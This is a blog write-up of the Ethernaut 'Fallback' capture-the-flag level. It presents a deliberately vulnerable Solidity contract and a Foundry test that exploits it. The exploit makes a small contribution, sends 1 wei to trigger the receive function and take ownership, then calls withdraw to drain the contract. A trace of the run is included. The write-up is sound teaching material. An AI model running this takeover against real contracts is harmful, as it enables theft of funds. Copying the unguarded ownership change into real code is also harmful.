To complete this level we need become the owner of the contract and reduce its balance to zero.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Fallback {
mapping(address => uint256) public contributions;
address payable public owner;
constructor() {
owner = payable(msg.sender);
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether, "msg.value must be < 0.001");
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender);
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
}
}
I’ve modified the original level code and removed the SafeMath
usage since we’re using solidity ^0.8.2
.
Analysis Link to heading
The Fallback
contract has the contributions
variable of type
mapping(address => uint256)
. In the constructor it sets the
owner
variable to a deployer (msg.sender
) and records that
the owner donated 1000 ether
.
constructor() {
owner = payable(msg.sender);
contributions[msg.sender] = 1000 * (1 ether);
}
This contract has 3 public functions and a single external
receive
function.
getContribution
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
Nothing interesting, this is just a getter function.
contribute
function contribute() public payable {
require(msg.value < 0.001 ether, "msg.value must be < 0.001");
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = payable(msg.sender);
}
}
After reading it we can tell that:
- To become the owner of this contract we need to contribute more ETH than the previous owner
- It is impossible to contribute more than
0.001 ETH
at once. Remember the initial donation of the owner (was set in theconstructor
)? It is1000 ETH
.
So in theory this function is vulnerable, but it will take us a lot
of time to exploit. Donating 1000 ETH
means that we need to
have 1000+ ETH
on Rinkeby test network and call contribute
at
least 1000001
times.
withdraw
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
This function transfers the contract’s balance to the owner
.
Notice that the Fallback
contract has the onlyOwner
modifier
which restricts withdrawals to the owner
.
receive
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
}
This is another function that sets the contract owner
but this
one is special. The receive
function is used, well, to receive
ETH (when msg.data
is empty). It is executed on a call to the
contract with empty calldata (msg.data
). Remember the diagram
from the
solidity-by-example?
Reference: solidity docs
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);
The receive
function is vulnerable 😈 but to set the owner
we need to contribute something first.
We can come up with the following exploit scenario:
- Call
contribute
sending at least0.001 ether
- Send to the
Fallback
contract at least1 wei
to call thereceive
function and change theowner
- Call
withdraw
and steal the funds
Framework Link to heading
In the previous post I’ve said that I’ll copy and adapt levels and their factories from the ethernaut repository one by one as we progress. Let’s do that. This is a first example of level factory contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../game/LevelFactory.sol";
import "./Fallback.sol";
contract FallbackFactory is LevelFactory {
function createInstance(address)
public
payable
override
returns (address)
{
Fallback instance = new Fallback();
return address(instance);
}
function validateInstance(address payable _instance, address _player)
public
view
override
returns (bool)
{
Fallback instance = Fallback(_instance);
return instance.owner() == _player && address(instance).balance == 0;
}
}
It is very similar to the
one
in the Ethernaut repo. I just changed imports, Solidity
version and removed the _player
argument name.
Exploit Link to heading
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import {Ethernaut} from "../game/Ethernaut.sol";
import {Fallback} from "../levels/Fallback/Fallback.sol";
import {FallbackFactory} from "../levels/Fallback/FallbackFactory.sol";
import {LevelTest} from "./common/LevelTest.sol";
contract FallbackTest is LevelTest {
Fallback private level;
constructor() {
levelFactory = new FallbackFactory();
}
function testFallback() public {
run();
}
function init() internal override {
levelAddress = payable(this.create());
level = Fallback(levelAddress);
assertEq(level.owner(), address(levelFactory));
}
function exploit() internal override {
vm.startPrank(player);
level.contribute{value: 0.0009 ether}();
(bool sent,) = levelAddress.call{value: 1}("");
require(sent, "Failed to send 1 wei to Fallback contract");
level.withdraw();
vm.stopPrank();
}
}
Let’s go over the exploit
function:
- A contribution must be less than
0.001 ether
, so we donate0.0009 ETH
. - Now to call the
receive
function and to pass therequire
precondition we need to sent some ETH. Let’s sent just1 wei
. - Finally we call the
withdraw
function to drain contract’s balance.
$ forge test --match-contract FallbackTest -vvvv
Running 1 test for src/test/Fallback.t.sol:FallbackTest
[PASS] testFallback() (gas: 402049)
Traces:
[402049] FallbackTest::testFallback()
├─ [303668] FallbackTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [291320] Ethernaut::createLevelInstance(FallbackFactory: [...])
│ │ ├─ [239757] FallbackFactory::createInstance(player: [...])
│ │ │ ├─ [207130] → new Fallback@"0x037f…dd8f"
│ │ │ │ └─ ← 813 bytes of code
│ │ │ └─ ← Fallback: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Fallback: [...])
│ │ └─ ← Fallback: [...]
│ └─ ← Fallback: [...]
├─ [359] Fallback::owner() [staticcall]
│ └─ ← FallbackFactory: [...]
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [22923] Fallback::contribute{value: 900000000000000}()
│ └─ ← ()
├─ [523] Fallback::fallback{value: 1}()
│ └─ ← ()
├─ [7277] Fallback::withdraw()
│ ├─ [0] player::fallback{value: 900000000000001}()
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4548] Ethernaut::submitLevelInstance(Fallback: [...])
│ ├─ [1501] FallbackFactory::validateInstance(Fallback: [...], player: [...])
│ │ ├─ [359] Fallback::owner() [staticcall]
│ │ │ └─ ← player: [...]
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: FallbackFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Lessons learned Link to heading
Anyone can call the receive
(or fallback
) function so be
careful :P
The full code is here. Thank you for reading and let’s move on to the next challenge: Ethernaut, #3 Fallout!